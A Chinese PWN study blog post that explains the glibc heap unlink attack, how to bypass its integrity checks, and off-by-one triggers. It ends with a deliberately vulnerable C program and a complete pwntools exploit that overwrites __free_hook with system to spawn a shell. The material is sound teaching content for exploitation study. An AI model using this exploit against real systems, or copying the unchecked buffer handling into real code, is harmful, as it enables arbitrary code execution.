当前位置: 首页 > news >正文

【我的 PWN 学习手札】Unlink Attack

目录

前言

一、Unlink介绍

二、保护和限制

(1)FD->bk == P AND BK->fd == P

(2)chunksize(P) == prev_size(next_chunk(P))

(3)largebin chunk

三、适用场景 

四、利用与绕过

(1)保护一绕过 

(2)保护二绕过 

(3)检查三绕过 

(4)其他trick 

五、测试代码与模板


前言

Unlink是一个堆管理中的一个操作,用于将bin中双向链表组织的堆块从链中取出。然而,我们可以利用这一过程进行的写操作,满足条件的情况下实现任意地址读写。 


一、Unlink介绍

在除了fastbin、tcachebin的其他空闲堆块的管理bin中,如shortbin、largebin、unsortedbin,内部组织都是双向链表。如下图(示意图来自好好说话之unlink-CSDN博客 )

 当需要将second_chunk脱链时,使用unlink对second_chunk操作。不难看出,实际上是这样一个过程:

我的上一个的下一个=我的下一个,我的下一个的上一个=我的上一个

这样“我”就可以取出,因为链上已经没有指针指向“我”,即所谓的脱链。代码上看既是:

(“我”->fd)->bk=(“我”->bk)->fd

转换一下:

FD->bk = BK;BK->fd = FD

其中FD=“我”->fd,BK=“我”->bk。这正是写在glibc源码中的unlink的核心代码

#define unlink(AV, P, BK, FD) {                                            FD = P->fd;								      BK = P->bk;								      if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  else {								      FD->bk = BK;							      BK->fd = FD;							      ...							      }									      
}

二、保护和限制

(1)FD->bk == P AND BK->fd == P

if (__builtin_expect(FD->bk != P || BK->fd != P, 0))malloc_printerr(check_action, "corrupted double-linked list", P, AV);

很明显这个操作是对FD->bk和BK->fd的简单检查

简单来说,(尚未脱链的)链表中:

我的下一个的上一个 == 我 == 我的上一个的下一个

(2)chunksize(P) == prev_size(next_chunk(P))

if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))malloc_printerr("corrupted size vs. prev_size");

这一个操作也很好理解其思路

简单来说

一个堆块的size保存在两个部分:

堆块头头部字段(size)物理相邻的下一个堆块(prev_size)

这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)。

(3)largebin chunk

if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||__builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);

 简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

三、适用场景 

首先讲一下Unlink的利用场景。

1、chunk_list

2、overflow 

题目往往会有这样一个场景:一个list数组,内部保存了一些heap分配来的指针

然后对于这些指针有读写的权限。——如果这些指针我们能控制就好了,这样就做到了任意地址读写

简单的话,这个数组保存在bss段上,再不济是这个数组也是heap分配来的,难一点可能PIE开启了。总之,我们会想方设法得到这个数组的地址。然后开始进行后续利用

四、利用与绕过

(1)保护一绕过 

我们可以构造一个fakechunk,使得: 

fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10

结合上图看就很容易理解了——对于fakechunk来说,是不是满足了P->fd->bk==P==P->bk->fd?

(2)保护二绕过 

有两种方法:

1.将 chunk2 的 prev_size 修改成 fake chunk 的 size。

        很直接,没什么好说的

2.将 size 和 prev_size 修改为 0 。

        这是利用了next_chunk(P)实际上是通过ptr+size的方式索引到物理相邻的下一块地址的。这么修改,实际上next_chunk(P)=P,自然也能满足条件。

但是glibc-2.29 起多了对 size 和 prev_size 的检查,第二种方式失效。

(3)检查三绕过 

更简单了,,不要申请largebin大小的chunk,申请smallbin范围内的chunk即可。。。

(4)其他trick 

触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。

unlink必然是在双向链表的场景,怎么保证呢?这是因为凡是fastbin、tcachebin的chunk的物理相邻chunk的prev_inuse位始终置为1,所以凡是prev_inuse位置为0,那么其物理相邻的上一块chunk必然是在smallbin、largebin、unsortedbin。

因此我们需要溢出来将prev_inuse来置为0,所以在只有off-by-null或者off-by-one的情况下即可利用。

为什么溢出一位即可利用,chunk的size字段前还有prev_size字段,也是需要溢出写的呀?

如果溢出字节数够多,自然没什么可讨论的。

如果只能溢出一个字节呢?其实这个字段并不需要溢出就能修改,chunk具有prev_size复用的情况存在,即,如果当前chunk被启用,会视申请chunk的大小,选择复用下一个物理相邻chunk的prev_size字段——因为上一个chunk被启用了,那么下一个chunk肯定不会和上一个合并,也就用不到prev_size字段,这是空间利用的一种优化。

读者可以试着申请一下(64位下)0x18大小的堆块(当然0x25,0x107等都可以)只要个位是(1~8),即可触发这一复用。

五、测试代码与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>char *chunk_list[0x100];void menu() {puts("1. add chunk");puts("2. delete chunk");puts("3. edit chunk");puts("4. show chunk");puts("5. exit");puts("choice:");
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts("index:");int index = get_num();puts("size:");int size = get_num();chunk_list[index] = malloc(size);
}void delete_chunk() {puts("index:");int index = get_num();free(chunk_list[index]);
}void edit_chunk() {puts("index:");int index = get_num();puts("length:");int length = get_num();puts("content:");read(0, chunk_list[index], length);
}void show_chunk() {puts("index:");int index = get_num();puts(chunk_list[index]);
}int main() {setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);while (1) {menu();switch (get_num()) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:exit(0);default:puts("invalid choice.");}}
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'io=process('./pwn')
def add(index,size):io.sendlineafter(b'choice:\n',b'1')io.sendlineafter(b'index:\n',str(index).encode())io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):io.sendlineafter(b'choice:\n',b'2')io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):io.sendlineafter(b'choice:\n',b'3')io.sendlineafter(b'index',str(index).encode())io.sendlineafter(b'length:\n',str(length).encode())io.sendafter(b'content:\n',content)
def show(index):io.sendlineafter(b'choice:\n',b'4')io.sendlineafter(b'index:\n',str(index).encode())# leak libc
add(0,0xa0)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7075d0200000-0x7075d059bb78
success(hex(libc_base))# chunk list start: 00000000004040C0
add(2,0xf0) # 4040C0+2*8=4040d0  fake_chunk
add(3,0xf0) # 4040c0+3*8=4040d8
add(4,0x10)  # 4040c0+4*8=4040e0fake_size=0x101
fake_chunk=b''
fake_chunk+=p64(0)              #prev_size
fake_chunk+=p64(fake_size)      #size
fake_chunk+=p64(0x4040d0-0x8*3) #fd
fake_chunk+=p64(0x4040d0-0x8*2) #bk
fake_chunk=fake_chunk.ljust(0xf0,b'a')
prev_size_fake=0xf0
payload=fake_chunk+p64(prev_size_fake)+p8(0)
gdb.attach(io)
pause()
edit(2,len(payload),payload)
delete(3)payload=p64(0)+p64(libc_base+libc.sym['__free_hook'])
edit(2,0x10,payload)
edit(0,0x8,p64(libc_base+libc.sym['system']))
add(5,0x20)
edit(5,0x8,b'/bin/sh\x00')
delete(5)
io.interactive() 

相关文章:

【我的 PWN 学习手札】Unlink Attack

目录 前言 一、Unlink介绍 二、保护和限制 &#xff08;1&#xff09;FD->bk P AND BK->fd P &#xff08;2&#xff09;chunksize(P) prev_size(next_chunk(P)) &#xff08;3&#xff09;largebin chunk 三、适用场景 四、利用与绕过 &#xff08;1&#…...

算法笔试-编程练习-好题-04

题目:堆盒子 礼盒大小不同&#xff0c;我们玩堆盒子的游戏&#xff0c;怎么堆盒子使得堆出的高度最高&#xff0c;每个礼盒的大小由长、宽、高表示&#xff0c;堆盒子的时候要求下面的盒子长、宽、高都必须大于上面的盒子&#xff0c;不包含等于。高度为堆出的礼盒的所有高度的…...

使用Rustup快速无缝升级Rust

rust update 升级 Rustup 是 Rust 官方的跨平台 Rust 安装工具。我们可以使用rustup升级rust版本 rustup updaterustup is not installed at ‘E:\cargo’ 意思是说’E:\argo’未安装rustup 将原来C:\Users\用户名\.cargo\bin下的文件复制到新的E:\cargo\bin $ rustup upda…...

pytorch qwen2-vl自定义数据全量微调

参考:https://github.com/zhangfaen/finetune-Qwen2-VL/tree/main 测试情况: 2B显存训练也很高,4090卡训练的 下载代码: git clone https://github.com/zhangfaen/finetune-Qwen2-VLtransformers包: 安装特定包,对qwen2vl支持 pip install git+https://github.com/hugg…...

切换淘宝最新npm镜像源是

切换淘宝最新npm镜像源是一个相对简单的过程&#xff0c;但首先需要明确当前淘宝npm镜像源的状态和最新的镜像地址。由于网络环境和服务更新&#xff0c;镜像源的具体地址可能会发生变化&#xff0c;因此&#xff0c;我将基于当前可获取的信息&#xff0c;提供一个通用的切换步…...

全国历年高考真题2008-2024

目录 分享链接&#xff1a; ⬇️⬇️⬇️ 点击下载...

【vue-media-upload】一个好用的上传图片的组件,注意事项

一、问题 media 的saved 数组中的图片使用的是location 相对路径&#xff0c;但是我的业务需要直接根据图片链接展示图片&#xff0c;而且用的也不是location 相关源代码 <div v-for"(image, index) in savedMedia" :key"index" class"mu-image-…...

linux第一课(操作系统核心)

一.关于linux (1)linux是一款开源的操作系统(是多用户&#xff0c;多任务&#xff0c;多线程)。 (2)一般所说的linux指的是linux核心&#xff0c;即对计算机硬件资源负责调度管理&#xff0c;主要职责是进程管理&#xff0c;内存管理文件系统&#xff0c;设备驱动&#xff0c…...

【期末复习】软件项目管理

前言&#xff1a; 关于软件项目管理这一科目的重要期末考点&#xff0c;希望对你有帮助。 目录 质量管理可能遇到的问题 软件项目质量管理 软件项目风险管理 进度 题1 题2 题3 成本 题1 题2 题3 质量管理可能遇到的问题 (1)没有制定质量管理计划&#xff1a; (2)…...

C# List定义和常用方法

栏目总目录 List的定义 列表&#xff08;List&#xff09;是一种常用的集合类型&#xff0c;它属于System.Collections.Generic命名空间。列表是一个有序集合&#xff0c;可以包含重复的元素&#xff0c;并且可以根据索引访问元素。 List< T > List<T> 是一个泛…...

如何在实际应用中更好地利用字典功能提高开发效率?

在当今数字化浪潮汹涌澎湃、技术迭代日新月异的时代&#xff0c;企业和开发者们犹如在信息的海洋中航行&#xff0c;迫切需要高效便捷的开发工具来指引方向、加速前行。开发工具的优劣直接关系到项目的进度、质量以及最终的商业价值实现。在众多开发工具的功能模块中&#xff0…...

Windows 环境下 vscode 配置 C/C++ 环境

vscode Visual Studio Code&#xff08;简称 VSCode&#xff09;是一个由微软开发的免费、开源的代码编辑器。它支持多种编程语言&#xff0c;并提供了代码高亮、智能代码补全、代码重构、调试等功能&#xff0c;非常适合开发者使用。VSCode 通过安装扩展&#xff08;Extension…...

[通信原理]绪论2:信息量 × 信息熵

我们知道信息是一个抽象的概念&#xff0c;它既不是物质也不是能量。那么我们要如何对一个抽象的概念进行一个定量的研究呢&#xff1f; 信息量 1、信息的度量 通信的本质是传递信息&#xff0c;为了定量表征信息的度量&#xff0c;引入信息量的概念。消息中所含信息量与其不…...

TCP套接字【网络】

文章目录 代码 创建套接字&#xff1a;&#xff08;TCP/UDP) int socket(int domain, int type, int protocol);inet_aton&#xff0c;将字符串IP转换成整数IP int inet_aton(const char *cp, struct in_addr *inp);监听套接字&#xff1a;&#xff08;TCP&#xff0c;服务器…...

【devops】devops-git之github使用

本站以分享各种运维经验和运维所需要的技能为主 《python零基础入门》&#xff1a;python零基础入门学习 《python运维脚本》&#xff1a; python运维脚本实践 《shell》&#xff1a;shell学习 《terraform》持续更新中&#xff1a;terraform_Aws学习零基础入门到最佳实战 《k8…...

GPT对话知识库——串口通信的数据的组成?起始位是高电平还是低电平?如何用代码在 FreeRTOS 中实现串口通信吗?如何处理串口通信中的数据帧校验吗?

目录 1&#xff0c;问&#xff1a; 1&#xff0c;答&#xff1a; 串口数据的组成 串口数据传输帧的完整结构 起始位的电平状态&#xff1a;低电平 举例&#xff1a;UART数据传输的例子 适用场景 总结 2&#xff0c;问&#xff1a; 2&#xff0c;答&#xff1a; a. 如…...

从头开始学MyBatis—02基于xml和注解分别实现的增删改查

首先介绍此次使用的数据库结构&#xff0c;然后引出注意事项。 通过基于xml和基于注解的方式分别实现了增删改查&#xff0c;还有获取参数值、返回值的不同类型对比&#xff0c;帮助大家一次性掌握两种代码编写能力。 目录 数据库 数据库表 实体类 对应的实体类如下&#x…...

AI音乐创作的新时代:从创意到旋律的智能化转型

文章目录 &#x1f3bc; AI音乐创作的新时代&#xff1a;从创意到旋律的智能化转型1 AI在音乐创作中的应用1.1 AI如何生成音乐&#xff1f; 2 常见的AI音乐创作工具2.1 AIVA2.2 Ecrett Music2.3 Jukedeck 3 AI音乐创作的流程3.1 第一步&#xff1a;确定音乐风格和情感基调3.2 第…...

Spring Boot集成Akka remoting快速入门Demo

1.什么是Akka remoting&#xff1f; Akka-Remoting一种ActorSystem之间Actor对Actor点对点的沟通协议.通过Akka-Remoting来实现一个ActorSystem中的一个Actor与另一个ActorSystem中的另一个Actor之间的沟通 Akka Remoting限制&#xff1a; 不支持NAT&#xff08;Network Add…...

JVM 调优篇7 调优案例1-堆空间的优化解决

一 jvm优化 1.1 优化实施步骤* 1)减少使用全局变量和大对象&#xff1b; 2)调整新生代的大小到最合适&#xff1b; 3)设置老年代的大小为最合适&#xff1b; 4)选择合适的GC收集器&#xff1b; 1.2 关于GC优化原则 多数的Java应用不需要在服务器上进行GC优化&#xff1…...

转转集团旗下首家二手多品类循环仓店“超级转转”开业

6月9日&#xff0c;国内领先的循环经济企业转转集团旗下首家二手多品类循环仓店“超级转转”正式开业。 转转集团创始人兼CEO黄炜、转转循环时尚发起人朱珠、转转集团COO兼红布林CEO胡伟琨、王府井集团副总裁祝捷等出席了开业剪彩仪式。 据「TMT星球」了解&#xff0c;“超级…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

【Zephyr 系列 10】实战项目:打造一个蓝牙传感器终端 + 网关系统(完整架构与全栈实现)

🧠关键词:Zephyr、BLE、终端、网关、广播、连接、传感器、数据采集、低功耗、系统集成 📌目标读者:希望基于 Zephyr 构建 BLE 系统架构、实现终端与网关协作、具备产品交付能力的开发者 📊篇幅字数:约 5200 字 ✨ 项目总览 在物联网实际项目中,**“终端 + 网关”**是…...

GruntJS-前端自动化任务运行器从入门到实战

Grunt 完全指南&#xff1a;从入门到实战 一、Grunt 是什么&#xff1f; Grunt是一个基于 Node.js 的前端自动化任务运行器&#xff0c;主要用于自动化执行项目开发中重复性高的任务&#xff0c;例如文件压缩、代码编译、语法检查、单元测试、文件合并等。通过配置简洁的任务…...

动态 Web 开发技术入门篇

一、HTTP 协议核心 1.1 HTTP 基础 协议全称 &#xff1a;HyperText Transfer Protocol&#xff08;超文本传输协议&#xff09; 默认端口 &#xff1a;HTTP 使用 80 端口&#xff0c;HTTPS 使用 443 端口。 请求方法 &#xff1a; GET &#xff1a;用于获取资源&#xff0c;…...

腾讯云V3签名

想要接入腾讯云的Api&#xff0c;必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口&#xff0c;但总是卡在签名这一步&#xff0c;最后放弃选择SDK&#xff0c;这次终于自己代码实现。 可能腾讯云翻新了接口文档&#xff0c;现在阅读起来&#xff0c;清晰了很多&…...

站群服务器的应用场景都有哪些?

站群服务器主要是为了多个网站的托管和管理所设计的&#xff0c;可以通过集中管理和高效资源的分配&#xff0c;来支持多个独立的网站同时运行&#xff0c;让每一个网站都可以分配到独立的IP地址&#xff0c;避免出现IP关联的风险&#xff0c;用户还可以通过控制面板进行管理功…...

在树莓派上添加音频输入设备的几种方法

在树莓派上添加音频输入设备可以通过以下步骤完成&#xff0c;具体方法取决于设备类型&#xff08;如USB麦克风、3.5mm接口麦克风或HDMI音频输入&#xff09;。以下是详细指南&#xff1a; 1. 连接音频输入设备 USB麦克风/声卡&#xff1a;直接插入树莓派的USB接口。3.5mm麦克…...

MyBatis中关于缓存的理解

MyBatis缓存 MyBatis系统当中默认定义两级缓存&#xff1a;一级缓存、二级缓存 默认情况下&#xff0c;只有一级缓存开启&#xff08;sqlSession级别的缓存&#xff09;二级缓存需要手动开启配置&#xff0c;需要局域namespace级别的缓存 一级缓存&#xff08;本地缓存&#…...

ubuntu22.04 安装docker 和docker-compose

首先你要确保没有docker环境或者使用命令删掉docker sudo apt-get remove docker docker-engine docker.io containerd runc安装docker 更新软件环境 sudo apt update sudo apt upgrade下载docker依赖和GPG 密钥 # 依赖 apt-get install ca-certificates curl gnupg lsb-rel…...